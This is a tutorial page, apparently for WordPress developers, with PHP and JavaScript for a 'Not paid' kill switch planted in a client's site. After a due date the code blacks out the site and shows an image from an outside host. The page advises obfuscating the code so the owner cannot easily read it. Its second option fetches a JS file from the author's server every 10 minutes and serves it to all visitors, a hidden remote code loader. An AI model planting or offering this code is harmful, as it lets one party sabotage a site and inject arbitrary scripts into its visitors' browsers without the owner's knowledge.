☠️Not paid
Option 1 - Quick use
Change Due date
Change Dealine
Change Image
Obfuscator javascript in <script> tag https://javascriptobfuscator.com/Javascript-Obfuscator.aspx
Add to function.php
function add_js_header(){
?>
<script>
document.addEventListener("DOMContentLoaded", function() {
/* change these variables as you wish */
var due_date = new Date('2023-03-07'); //Change due date here
var days_deadline = 1; //Must >= 1
/* stop changing here */
var current_date = new Date();
var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
if(days > 0) {
var days_late = days_deadline - days;
var opacity = (days_late * 100 / days_deadline) / 100;
opacity = (opacity < 0) ? 0 : opacity;
opacity = (opacity > 1) ? 1 : opacity;
// Tạo phần tử overlayElement
var overlayElement = document.createElement("div");
overlayElement.className = "overlayElement";
overlayElement.style.position = "fixed";
overlayElement.style.top = "0";
overlayElement.style.left = "0";
overlayElement.style.width = "100%";
overlayElement.style.height = "100%";
overlayElement.style.backgroundColor = "rgba(0, 0, 0, " + opacity + ")";
overlayElement.style.zIndex = "9999"; // Đảm bảo phủ lên tất cả các phần tử khác
document.body.appendChild(overlayElement);
// Lưu nội dung body hiện tại vào biến content
var content = document.body.innerHTML;
// Xóa nội dung body hiện tại
document.body.innerHTML = '';
// Thêm hình ảnh vào body
var imageElement = document.createElement("img");
imageElement.className = "imageElement";
imageElement.src = "https://thaiduykhang.id.vn/wp-content/uploads/2024/02/Screenshot_2.jpg"; // Thay đổi đường dẫn đến hình ảnh của bạn ở đây
imageElement.style.position = "fixed";
imageElement.style.top = "50%";
imageElement.style.left = "50%";
imageElement.style.transform = "translate(-50%, -50%)";
imageElement.style.zIndex = "10000";
imageElement.style.objectFit = "contain"; // Đảm bảo hình ảnh hiển thị trên cùng
document.body.appendChild(imageElement);
// Thêm nội dung body gốc vào overlayElement
overlayElement.innerHTML = content;
}
});
</script>
<?php
}
add_action('wp_head','add_js_header');
?>Add to custom JS
document.addEventListener("DOMContentLoaded", function() {
/* change these variables as you wish */
var due_date = new Date('2023-03-07'); //Change due date here
var days_deadline = 1; //Must >= 1
/* stop changing here */
var current_date = new Date();
var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
if(days > 0) {
var days_late = days_deadline - days;
var opacity = (days_late * 100 / days_deadline) / 100;
opacity = (opacity < 0) ? 0 : opacity;
opacity = (opacity > 1) ? 1 : opacity;
// Tạo phần tử overlayElement
var overlayElement = document.createElement("div");
overlayElement.className = "overlayElement";
overlayElement.style.position = "fixed";
overlayElement.style.top = "0";
overlayElement.style.left = "0";
overlayElement.style.width = "100%";
overlayElement.style.height = "100%";
overlayElement.style.backgroundColor = "rgba(0, 0, 0, " + opacity + ")";
overlayElement.style.zIndex = "9999"; // Đảm bảo phủ lên tất cả các phần tử khác
document.body.appendChild(overlayElement);
// Lưu nội dung body hiện tại vào biến content
var content = document.body.innerHTML;
// Xóa nội dung body hiện tại
document.body.innerHTML = '';
// Thêm hình ảnh vào body
var imageElement = document.createElement("img");
imageElement.className = "imageElement";
imageElement.src = "https://thaiduykhang.id.vn/wp-content/uploads/2024/02/Screenshot_2.jpg"; // Thay đổi đường dẫn đến hình ảnh của bạn ở đây
imageElement.style.position = "fixed";
imageElement.style.top = "50%";
imageElement.style.left = "50%";
imageElement.style.transform = "translate(-50%, -50%)";
imageElement.style.zIndex = "10000";
imageElement.style.objectFit = "contain"; // Đảm bảo hình ảnh hiển thị trên cùng
document.body.appendChild(imageElement);
// Thêm nội dung body gốc vào overlayElement
overlayElement.innerHTML = content;
}
});Option 2 - API method
Save obfuscator script to notpaid.js (if fetch api)
Upload notpaid.js to another storge and get link file .js
Add link to script fetch api
[Optional] Obfuscator php in https://www.gaijin.at/en/tools/php-obfuscator (Check: Remove comments, Remove whitespaces, Obfuscate function and class names, Encode strings).
Add to function.php
FetchAPI
function execute_js_from_api() {
$api_url = 'https://thaiduykhang.id.vn/not-paid/not-paid.js'; // URL của file script
$temp_file = wp_upload_dir()['basedir'] . '/temp-script.js'; // Đường dẫn file tạm
$cache_time_key = 'temp_script_last_update'; // Tên meta key để lưu thời gian cuối cùng
$cache_duration = 10 * MINUTE_IN_SECONDS; // Thời gian cache (10 phút)
// Lấy thời gian cuối cùng script được cập nhật
$last_update = get_option( $cache_time_key, 0 );
$current_time = time();
// Chỉ tải nội dung mới nếu cache đã hết hạn
if ( $current_time - $last_update >= $cache_duration ) {
$response = wp_remote_get( $api_url );
if ( is_wp_error( $response ) ) {
error_log( 'Error occurred when calling API: ' . $response->get_error_message() );
return;
}
$body = wp_remote_retrieve_body( $response );
// Lưu file mới nếu khác nội dung
if ( file_exists( $temp_file ) ) {
$existing_content = file_get_contents( $temp_file );
if ( hash('sha256', $body) !== hash('sha256', $existing_content) ) {
file_put_contents( $temp_file, $body );
}
} else {
// Tạo file mới nếu chưa tồn tại
file_put_contents( $temp_file, $body );
}
// Cập nhật thời gian lần cuối cùng nội dung được cập nhật
update_option( $cache_time_key, $current_time );
}
// Enqueue script từ file tạm
wp_enqueue_script(
'external-script', // Handle
content_url( 'uploads/temp-script.js' ), // URL tới file trong thư mục uploads
array(), // Dependencies
null, // Version
true // Load ở footer
);
}
add_action( 'wp_enqueue_scripts', 'execute_js_from_api' );Last updated